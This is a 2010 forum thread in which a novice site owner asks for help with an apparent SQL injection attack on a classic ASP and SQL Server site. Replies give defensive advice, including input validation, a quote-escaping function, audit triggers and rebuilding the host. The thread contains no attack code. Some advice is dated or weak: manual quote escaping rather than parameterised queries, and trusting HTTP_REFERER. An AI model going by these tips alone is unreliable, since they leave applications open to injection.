Please start any new threads on our new
site at https://forums.sqlteam.com. We've got lots of great SQL Server
experts to answer whatever question you can come up with.
| Author |
Topic |
|
davidflana
Starting Member
2 Posts |
 Posted - 2010-03-24 : 11:00:40
|
| Hello everyone,First off, I am barely a novice at SQL. I have a SQL 2005 server database that is being hosted for me. I can create tables, execute simple select and update queries, and that is about it...For the past few months, my SQL database has been comprimised. The attacker is putting links to some javascript virus on another site. I also found that he recently got into my sales table and deleted item names... I am freaking out!!I contacted the host, and they tell me that it must be a SQL injection attack, and that they cannot help me. I understand what a SQL injection attack is, but I need to verify if that is what it is, and if possible identify what page it is coming from.I use classic ASP pages.Anyway, My thought is: If I can audit the tables that he is updating to tell me the username that is being used, and the IP address of the computer that is used to update the table, I can determine if he is using my website against me or if he has some way of comprimising my SQL password.I do not know how to set up auditing... I am not that good with SQL. If someone has a script I could execute to set that up, that would be great.I placed tracking code on the pages that update these tables. When I make a change using the website, I see the "audit" that I created. When he makes a change, I do not see it... Not all of my pages have this tracking code, so it could be that he is using a different page to do this. I just need to cut the problem in half by seeing if the changes are being made by the user account that my website uses and the IP address of the web server. If that is the case, then I will go down the road of trying to validate query information within my code before I execute the select or update statements so that the injection attacks do not work.Thanks for ANYTHING you can do to help a guy out against a dirt bag virus pusher...BTW, he must have this automated or something because it happens multiple times per day. I can change the content back, and it will be changed back to his crap before the day is over... I do have code on my display page that pulls out his virus link, but he is erasing my content when he does this...Another tip- I changed the password on the SQL account that my pages use, and it took him a little over a week to get his crap working again. That is why I think this is not SQL injection. If it was, there would not have been a pause in the attack.THANKS!!Dave |
|
|
russell
Pyro-ma-ni-yak
5072 Posts |
Posted - 2010-03-24 : 11:17:11
|
| focus on fixing your code instead.primary way they get in is you not validating input -- especially escaping single quotes.you should be using stored procedures instead of inline sql as well.check all routines that take user input -- including query string, forms, cookies.also make sure that any form submission comes FROM your site. check the HTTP_REFERER for this. if it isn't your site, disallow it. |
 |
|
|
russell
Pyro-ma-ni-yak
5072 Posts |
Posted - 2010-03-24 : 11:19:07
|
| you can trigger your tables to capture the username and date/time the insert/update is performed by the way.but the problem is still improper coding at the front end |
|
|
|
davidflana
Starting Member
2 Posts |
Posted - 2010-03-24 : 11:40:52
|
| Why would changing the SQL password stop him for over a week then? If it was SQL injection, the password would not matter, right? Or can he use SQL injection to reveil the password? |
|
|
|
Kristen
Test
22859 Posts |
Posted - 2010-03-24 : 12:45:01
|
1) Do not panic2) Repeat DO NOT PANIC - consider your approach3) Take the server / domain offline so that the hacker cannot reach it4a) Download all data locally, clean up, sort out, etc.4b) Fix the application5) Assume that your hosting site is compromised - you cannot know how / where it is compromised, but assume at Root level5a) Have your host make you a new site. Abandon the old site. (Equivalent of formatting it and reinstalling O/S)6) Re-upload all of your site from clean files, and upload clean data to your database."can he use SQL injection to reveil the password?"If your site is open to SQL Injection I could, given time, work out what the password is.But maybe the hacker is using SQL Injection to perform tasks that are not possible with application password, but is still using SQL Injection to get the commands into SQL.Can you change the Port number of SQL Server? Change it to a number > 10,000 and change your application to use that number too. That will make it very hard to connect to the SQL box from outside - provider the hacker cannot just read your ASP file source too (if your site is compromised then FTP may be compromised too, or some other service ...)[It is very unlikely that you can do this with shared hosting)Do you have IIS Logs? They will show any hacking SQL Injection that are on forms that use GETFor POST you will need some logging in the ASP to record the data; this would be worth doing to see which forms / fields are being attacked. On each page that receives data from a POST put a function call that logs the data (e.g. to a text file with Form=XXX, Field1=YYY, Field2=ZZZ, ...)Look for all the ASP code that concatenates strings to make SQL commands. ANY data from the user should be passed to a function that doubles any embedded single quotes, and surrounds the data with single quotes, so:strSQL = "SELECT Col1, Col2 FROM MyTable WHERE UserID = " & UserNameFormFieldData should be changed tostrSQL = "SELECT Col1, Col2 FROM MyTable WHERE UserID = " & SafeSqlString(UserNameFormFieldData) where SafeSqlString() doesFunction SafeSqlString(text) SafeSqlString = "'" & Replace(text, "'", "''") & "'"End Function |
|
|
|
russell
Pyro-ma-ni-yak
5072 Posts |
Posted - 2010-03-24 : 14:02:10
|
| additionally, validate EVERY input value for correct length and data type. for example, if you're expecting a 5 digit zip code, make sure it's 5 digits and all numbers b4 submitting it.Use the MAXLENGTH HTML attribute on every form field that allows free text entry (textbox, textarea), to match the length in your database.By the way, changing the port # won't help with a SQL injection attack, because they are using your applications credentials to connect ( app already "knows" the port # ) still, it's a good idea. |
|
|
|
Kristen
Test
22859 Posts |
Posted - 2010-03-24 : 14:53:13
|
" Use the MAXLENGTH HTML attribute on every form field that allows free text entry (textbox, textarea), to match the length in your database"You are clearly in the IT department .... everyone I deal with nowadays to do with Web Sites is in Marketing department. "All Form Fields must be the same width so they look nice"  (Not the same as MAXLENGTH I realise, but Marketing probably THINK it is the same )" changing the port # won't help with a SQL injection attack"Yup, didn't mean to imply that, but should make it harder for anyone who has stolen the SA password to connect to the DB directly |
|
|
|
|
|
|
|
|
PLEASE! Help me catch this hacker!!